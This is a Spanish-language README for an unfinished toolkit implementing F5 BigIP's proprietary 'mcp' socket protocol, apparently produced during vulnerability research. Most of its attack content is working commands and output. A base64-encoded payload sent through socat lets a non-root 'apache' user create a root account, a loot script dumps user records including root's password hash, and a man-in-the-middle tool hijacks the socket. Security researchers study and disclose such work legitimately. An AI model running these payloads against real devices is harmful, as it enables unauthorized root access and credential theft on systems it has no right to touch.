
Una implementación del protocolo `mcp` de F5, que incluye herramientas MitM para esnifar tráfico durante la caza de vulnerabilidades.
Esto no está realmente terminado ni listo aún, pero quería dejar el código subido al repositorio.
Esto básicamente implementa el protocolo de base de datos de F5, «mcp», que opera a través de un socket de dominio UNIX. Eso significa que necesitas un shell en el dispositivo F5 antes de poder usar cualquiera de estas herramientas. Normalmente reenviarás la salida de un script a /var/run/mcp usando socat, y luego pasarás la respuesta a mcp-parser.rb. Más detalles abajo.
Un resumen rápido de los scripts:
mcp-getloot.rb - Genera un mensaje que volcará usuarios y variablesmcp-privesc.rb - Genera un mensaje que creará una cuenta de usuariomcp-parser.rb - Analiza mensajes mcp que llegan por stdinmcp-mitm.rb - Intercepta mensajes mcp en un host objetivo (requiere que esté configurado ssh sin contraseña a root)mcp-builder.rb - Una librería para construir mensajes mcp (no necesitas usarla directamente)mcp-generateobjects.rb - Una herramienta para generar mcp-objects.txt (no deberías necesitarla)MCP es una base de datos propietaria (AFAICT) utilizada por F5 BigIP. Se accede a través de /var/run/mcp, un socket de dominio UNIX con permisos 0777 (es decir, cualquier usuario puede acceder a él).
El protocolo es de estilo TLV, con un montón de tipos (más de 41.000). Están todos listados en mcp-objects.txt.
Implementé un analizador que puedes encontrar en mcp-parser.rb, y puedes encontrar un montón de mensajes diferentes en mcp-parser-tests.rb.
También creé un constructor, mcp-builder.rb, aunque no está realmente diseñado para ser fácil de usar. Tenemos una función predefinida que crea un paquete MCP que crea una cuenta de usuario a nivel root, lo cual es bastante interesante. Puedes usar mcp-privesc.rb para crear ese paquete.
Para comunicarte con MCP directamente, normalmente usarás socat. El código en mcp-builder.rb puede crear paquetes, aunque no está diseñado para ejecutarse directamente. Los scripts que probablemente querrás usar directamente son:
mcp-getloot.rb - para obtener usuarios y ajustes de configuraciónmcp-privesc.rb - para añadir una nueva cuenta a nivel rootmcp-parser.rb - para analizar la respuesta (por stdin)Para usar uno de los scripts de consulta, ejecútalo y encuentra una forma de enviar la salida al socket UNIX en el objetivo. Aquí tienes un ejemplo en el que comprimimos con gzip y codificamos en base64 la salida de mcp-privesc.rb:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Luego podemos copiarlo y pegarlo en una sesión ssh en el objetivo, donde se envía al socket UNIX (nota que estamos haciendo esto como un usuario no root como demostración de que es posible):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
También podemos analizar la respuesta obtenida usando mcp-parser.rb:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Por supuesto, puedes hacerlo todo en un solo comando; así es como puedes usar mcp-getloot.rb:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
También escribí una herramienta para inspeccionar/registrar consultas a la base de datos en tiempo real - mcp-mitm.rb. Esto no es un exploit, es solo una herramienta de análisis que requiere un inicio de sesión root. Efectivamente, mueve /var/run/mcp y lo reemplaza con un socket que controlamos, y luego analiza todos los mensajes que pasan a través de él.
Para ejecutarla:
ssh root@<target> sin contraseña ni otra entrada (o edita el código y desactiva DO_SETUP)Casi cualquier «daño» potencial se soluciona con un reinicio, ya que crea el socket al arrancar, pero probablemente no quieras hacer eso en producción.
De todos modos, ejecútalo sin argumentos para ver el uso, y luego completa las direcciones IP importantes:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Si te quedas esperando (o haces cosas en el servidor), verás sesiones:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c lo detendrá y arreglará el socket:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
¡Y eso es todo!